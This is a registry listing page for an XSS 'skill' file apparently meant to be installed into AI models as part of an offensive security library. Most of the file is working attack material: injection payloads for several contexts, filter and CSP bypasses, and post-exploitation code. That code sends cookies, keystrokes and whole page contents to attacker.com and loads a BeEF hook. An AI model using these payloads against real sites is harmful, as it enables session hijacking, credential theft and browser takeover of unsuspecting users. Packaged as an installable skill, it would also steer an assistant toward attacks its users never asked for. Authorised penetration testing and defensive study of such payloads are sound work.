Xss

Skill sunilgentyala/OmniRed/skills/web/xss

OmniRed: Multi-AI offensive security skills library for Claude, ChatGPT, Gemini & Microsoft Copilot — with unique MCP, LLM-pipeline, and AI-native attack categories. By Sunil Gentyala, Independent Researcher.

Install

npx -y skills add sunilgentyala/OmniRed --skill xss

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

2 things to look at

no licenseNo license file was found in the repository. Code published without one is not open source by default, so using it at work is a question for whoever answers licensing questions where you are.
0 stars0 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its author says it does

Copied from the file, not written here

Cross-Site Scripting expert methodology covering reflected, stored, DOM-based, and mutation XSS. Includes CSP bypass, filter evasion, and post-exploitation (session hijacking, keyloggers, BeEF integration).

The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.

SKILL.md

3.7 KB, as published. Nobody here has run it

Cross-Site Scripting (XSS)

Attack Surface

Reflected: URL parameters, search fields, error messages, redirect parameters. Stored: comments, profiles, names, addresses, any user-controlled content persisted and rendered to others. DOM-based: JavaScript that reads from location.hash, document.referrer, location.search, postMessage without sanitisation.

Methodology

Phase 1 — Detection

<script>alert(1)</script>
"><script>alert(1)</script>
'><script>alert(1)</script>
javascript:alert(1)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
{{7*7}}                    -- template injection test alongside XSS

Track where your test string appears in the response. Identify the context:

HTML body (tag injection)
HTML attribute (attribute injection)
JavaScript string (JS injection)
JavaScript in href/src (URL context)

Phase 2 — Context-specific payloads

HTML body:

<script>alert(document.cookie)</script>
<img src=x onerror=fetch('//attacker.com/?c='+document.cookie)>
<svg/onload=eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))>

HTML attribute:

" onmouseover="alert(1)
" onfocus="alert(1)" autofocus="
"><img src=x onerror=alert(1)>

JavaScript string context:

'-alert(1)-'
\'-alert(1)//
`;alert(1)//

href/src URL context:

javascript:alert(1)
data:text/html,<script>alert(1)</script>

DOM-based (source: location.hash):

http://target/#"><img src=x onerror=alert(1)>
http://target/#javascript:alert(1)

Phase 3 — Filter bypass

<!-- Keyword filter bypass -->
<scr<script>ipt>alert(1)</scr</script>ipt>
<SCRIPT>alert(1)</SCRIPT>     <!-- case -->
<script/src=//attacker.com/x.js>

<!-- Event handler alternatives -->
<body onload=alert(1)>
<iframe onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>

<!-- Encoding -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
<img src=x onerror=alert(1)>

Phase 4 — CSP bypass

// Check CSP header
Content-Security-Policy: script-src 'self' cdn.example.com

// Bypass via allowed CDN with uploadable content (Angular, jQuery)
<script src="https://cdn.example.com/angular.js"></script>
<div ng-app ng-csp><div ng-include="'http://attacker.com/payload.js'"></div>

// JSONP bypass (if jsonp endpoint on allowed domain)
<script src="https://api.example.com/callback?callback=alert(1)"></script>

// 'unsafe-inline' with nonce: brute force or leak nonce value
// 'strict-dynamic': find script gadget in allowed scripts

Phase 5 — Post-exploitation

Cookie/session hijacking:

fetch('https://attacker.com/steal?c='+encodeURIComponent(document.cookie))

Keylogger:

document.addEventListener('keypress', e =>
  fetch('https://attacker.com/keys?k='+e.key))

Full page exfiltration:

fetch('https://attacker.com/page', {
  method: 'POST',
  body: document.documentElement.innerHTML
})

BeEF hook:

<script src="http://attacker.com:3000/hook.js"></script>

Tools

Burp Suite Pro — scanner + repeater
XSStrike — advanced XSS detection
dalfox — fast XSS scanner
BeEF — browser exploitation framework
XSS Hunter — blind XSS detection

OWASP Top 10 Mapping

A03:2021 — Injection (XSS)